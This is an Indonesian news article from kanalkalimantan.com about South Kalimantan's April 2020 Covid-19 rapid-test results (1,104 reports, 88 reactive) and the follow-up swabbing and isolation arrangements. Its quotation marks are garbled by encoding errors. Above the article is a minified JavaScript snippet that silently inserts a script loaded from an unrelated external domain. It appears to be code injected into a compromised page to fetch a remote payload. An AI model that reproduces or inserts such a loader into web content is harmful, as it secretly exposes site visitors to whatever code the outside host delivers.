(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

1.104 Laporan Rapid Test di Kalsel, 88 Laporan Dinyatakan Reaktif

KANALKALIMANTAN.COM, BANJARBARU Ã¢â‚¬â€œ Hingga Sabtu (11/4/2020) sore, Tim Gugus Tugas Pencegahan Pengendalian Penanganan (P3) Covid-19 Kalimantan Selatan (Kalsel) telah menerima 1.104 laporan hasil rapid test yang dilakukan Tim Surveilans Epidemiologi dari 13 kabupaten/kota se Kalsel.

Ã¢â‚¬Å“Dari jumlah itu, ada 88 laporan dinyatakan reaktif atau positif Covid-19,Ã¢â‚¬Â sebut Juru Bicara Tim Gugus Tugas P3 Covid-19 Kalsel Muhammad Muslim di Banjarbaru, Sabtu (11/4/2020) sore.

Sedangkan hasil rapid test yang dinyatakan non reaktif atau negatif Covid-19 yaitu sebanyak 1.015 laporan.

Jika dihitung, laporan rapid test yang reaktif sebesar 8,6 persen. Diakui Muslim, terjadi peningkatan yang cukup signifikan hasil rapid test reaktif ini.

Ã¢â‚¬Å“Peningkatan ini tentu saja lebih banyak kepada hasil tracing,Ã¢â‚¬Â lugas Muslim.

Hasil rapid test sendiri yang dilakukan pada beberapa cluster maupun kontak erat dengan kasus positif Covid-19, ditindaklanjuti dengan pengambilan swab. Kemudian juga, dengan tata laksana dengan catatan kondisi orang yang menjalani rapid test.

Ã¢â‚¬Å“Jika kondisi orang dalam pemantauan (ODP) dengan kondisi ringan, maka tetap dilakukan isolasi mandiri di rumah. Namun, jika mengalami beberapa hal yang meningkat dari gejala klinis yang ada, maka akan dirawat di rumah sakit,Ã¢â‚¬Â jelas Muslim.

Sedangkan untuk ODP dengan gejala klinis, Muslim memastikan, peranan karantina khusus sudah dimantapkan. Dengan catatan, ODP ini dapat ditangani di gedung karantina khusus ini.Ã‚Â (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie